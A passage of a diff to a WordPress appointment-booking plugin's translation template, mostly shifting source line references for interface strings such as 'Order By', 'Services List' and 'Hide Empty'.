includes\u002Fshortcodes\u002FEmployeesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11549\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11550\n msgid \"Show additional information.\"\n msgstr \"\"\n \n@@ -1819,7 +1778,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:107\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:60\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11558\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11559\n msgid \"Comma-separated slugs or IDs of employees that will be shown.\"\n msgstr \"\"\n \n@@ -1833,8 +1792,8 @@\n #: includes\u002Fpost-types\u002FLocationPostType.php:77\n #: assets\u002Fjs\u002Fanalytics-page.js:33420\n #: assets\u002Fjs\u002Fcalendar-page.js:45397\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11566\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11828\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n msgid \"Locations\"\n msgstr \"\"\n \n@@ -1842,8 +1801,8 @@\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeesListWidget.php:117\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:66\n #: includes\u002Fshortcodes\u002FEmployeesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11567\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11829\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11568\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11830\n msgid \"Comma-separated slugs or IDs of locations.\"\n msgstr \"\"\n \n@@ -1856,9 +1815,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FEmployeesListMetabox.php:71\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:68\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:84\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11575\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11846\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12500\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11576\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11847\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12501\n msgid \"Posts Per Page\"\n msgstr \"\"\n \n@@ -1876,10 +1835,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:91\n #: includes\u002Fwidgets\u002FAppointmentFormWidget.php:237\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11584\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11855\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12170\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12509\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n msgid \"Columns Count\"\n msgstr \"\"\n \n@@ -1897,10 +1856,10 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:92\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:29\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:30\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11585\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11856\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12171\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12510\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11586\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11857\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12172\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12511\n msgid \"The number of columns in the grid.\"\n msgstr \"\"\n \n@@ -1914,10 +1873,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:178\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:59\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:54\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11594\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11865\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12180\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12519\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11595\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12181\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12520\n msgid \"Order By\"\n msgstr \"\"\n \n@@ -1931,10 +1890,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:182\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:39\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11601\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11872\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12187\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12526\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11602\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11873\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12188\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12527\n msgid \"No order\"\n msgstr \"\"\n \n@@ -1945,9 +1904,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:124\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:183\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:40\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11604\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11875\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12529\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11605\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11876\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12530\n msgid \"Post ID\"\n msgstr \"\"\n \n@@ -1958,9 +1917,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:125\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:184\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11607\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11878\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12532\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11608\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11879\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12533\n msgid \"Post author\"\n msgstr \"\"\n \n@@ -1974,9 +1933,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:49\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11610\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11881\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12535\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11611\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11882\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12536\n msgid \"Post title\"\n msgstr \"\"\n \n@@ -1987,9 +1946,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:186\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11613\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11884\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12538\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11614\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11885\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12539\n msgid \"Post name (post slug)\"\n msgstr \"\"\n \n@@ -2000,9 +1959,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:187\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11616\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11887\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12541\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11617\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11888\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12542\n msgid \"Post date\"\n msgstr \"\"\n \n@@ -2013,9 +1972,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:188\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11619\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11890\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12544\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11891\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12545\n msgid \"Last modified date\"\n msgstr \"\"\n \n@@ -2026,9 +1985,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:189\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11622\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11893\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12547\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11623\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11894\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12548\n msgid \"Random order\"\n msgstr \"\"\n \n@@ -2039,9 +1998,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:190\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11625\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11896\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12550\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11626\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11897\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12551\n msgid \"Relevance\"\n msgstr \"\"\n \n@@ -2055,10 +2014,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:191\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:48\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:48\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11628\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11899\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12211\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12553\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11629\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11900\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12212\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12554\n msgid \"Page order\"\n msgstr \"\"\n \n@@ -2069,9 +2028,9 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:133\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:192\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeOrderMetabox.php:49\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11631\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11902\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12556\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11632\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11903\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12557\n msgid \"Page order and post title\"\n msgstr \"\"\n \n@@ -2083,10 +2042,10 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:146\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:178\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:206\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11641\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11912\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12221\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12569\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11642\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11913\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12222\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12570\n msgid \"DESC\"\n msgstr \"\"\n \n@@ -2100,24 +2059,24 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:207\n #: includes\u002Fshortcodes\u002FAbstractPostsListShortcode.php:42\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11644\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11915\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12224\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12572\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11645\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11916\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12225\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12573\n msgid \"ASC\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeSocialNetworksModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeSocialNetworksWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeSocialNetworksShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:13481\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:13482\n msgid \"Employee Social Networks\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FEmployeeTitleModule.php:20\n #: includes\u002Felementor\u002Fwidgets\u002FEmployeeTitleWidget.php:25\n #: includes\u002Fshortcodes\u002Fsingle-employee\u002FEmployeeTitleShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12866\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12867\n msgid \"Employee Title\"\n msgstr \"\"\n \n@@ -2125,7 +2084,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FLocationsListWidget.php:25\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FLocationsListMetabox.php:29\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11963\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11964\n msgid \"Locations List\"\n msgstr \"\"\n \n@@ -2147,9 +2106,9 @@\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:72\n #: includes\u002Fpost-types\u002FLocationPostType.php:124\n #: includes\u002Fpost-types\u002FServicePostType.php:164\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11837\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12123\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12482\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n msgid \"Categories\"\n msgstr \"\"\n \n@@ -2165,9 +2124,9 @@\n #: includes\u002Fshortcodes\u002FLocationsListShortcode.php:61\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:64\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:86\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:11838\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12124\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12483\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:11839\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12125\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12484\n msgid \"Comma-separated slugs or IDs of categories that will be shown.\"\n msgstr \"\"\n \n@@ -2177,26 +2136,26 @@\n #: includes\u002Fpost-types\u002FServicePostType.php:149\n #: includes\u002Fpost-types\u002FServicePostType.php:252\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:31\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12272\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12273\n msgid \"Service Categories\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:37\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:53\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12098\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12099\n msgid \"Show Services Count?\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:47\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:63\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12106\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12107\n msgid \"Show Description?\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:73\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12114\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n msgid \"Parent\"\n msgstr \"\"\n \n@@ -2204,14 +2163,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:76\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:57\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:58\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12115\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12116\n msgid \"Parent term slug or ID to retrieve direct-child terms from.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:69\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:93\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:68\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12132\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n msgid \"Exclude Categories\"\n msgstr \"\"\n \n@@ -2219,21 +2178,21 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:96\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:69\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:69\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12133\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12134\n msgid \"Comma-separated slugs or IDs of categories that will not be shown.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:75\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:103\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:74\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12141\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12142\n msgid \"Hide Empty\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:85\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:114\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:80\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12150\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n msgid \"Depth\"\n msgstr \"\"\n \n@@ -2241,14 +2200,14 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:115\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:81\n #: includes\u002Fshortcodes\u002FServiceCategoriesShortcode.php:79\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12151\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12152\n msgid \"Display depth of child categories.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:97\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:127\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:88\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12160\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n msgid \"Number\"\n msgstr \"\"\n \n@@ -2256,56 +2215,56 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:128\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServiceCategoriesMetabox.php:89\n #: includes\u002Fshortcodes\u002FAbstractTermsListShortcode.php:24\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12161\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12162\n msgid \"Maximum number of categories to show.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:126\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:158\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:41\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12190\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12191\n msgid \"Term name\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:127\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:159\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:42\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12193\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12194\n msgid \"Term slug\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:128\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:160\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:43\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12196\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12197\n msgid \"Term ID\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:129\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:161\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:44\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12199\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12200\n msgid \"Parent ID\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:130\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:162\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:45\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12202\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12203\n msgid \"Number of associated objects\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:131\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:163\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:46\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12205\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12206\n msgid \"Keep the order of \\\"IDs\\\" parameter\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServiceCategoriesModule.php:132\n #: includes\u002Felementor\u002Fwidgets\u002FServiceCategoriesWidget.php:164\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FShortcodeTermsOrderMetabox.php:47\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12208\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12209\n msgid \"Term order\"\n msgstr \"\"\n \n@@ -2313,35 +2272,35 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:24\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:29\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:29\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12620\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12621\n msgid \"Services List\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:57\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:73\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:56\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12432\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12433\n msgid \"Show service price.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:67\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:83\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:61\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12440\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12441\n msgid \"Show service duration.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:77\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:93\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:66\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12448\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12449\n msgid \"Show service capacity.\"\n msgstr \"\"\n \n #: includes\u002Fdivi\u002Fmodules\u002FServicesListModule.php:87\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:103\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:71\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12456\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12457\n msgid \"Show service employees.\"\n msgstr \"\"\n \n@@ -2349,7 +2308,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:116\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:61\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:76\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12465\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12466\n msgid \"Comma-separated slugs or IDs of services that will be shown.\"\n msgstr \"\"\n \n@@ -2357,7 +2316,7 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:126\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:67\n #: includes\u002Fshortcodes\u002FServicesListShortcode.php:81\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12474\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12475\n msgid \"Comma-separated slugs or IDs of employees that perform these services.\"\n msgstr \"\"\n \n@@ -2365,10 +2324,41 @@\n #: includes\u002Felementor\u002Fwidgets\u002FServicesListWidget.php:143\n #: includes\u002Fmetaboxes\u002Fshortcode\u002FServicesListMetabox.php:78\n #: includes\u002Fpost-types\u002FServicePostType.php:210\n-#: assets\u002Fjs\u002Fgutenberg-blocks.js:12491\n+#: assets\u002Fjs\u002Fgutenberg-blocks.js:12492\n msgid \"Tags\"\n msgstr \"\"\n \n+#: includes\u002Felementor\u002Fwidgets\u002FAppointmentFormWidget.php:71\n+#: includes\u002Felementor\u002Fwidgets\u002FEmployeeAdditionalInfoWidget.php:35\n+#: 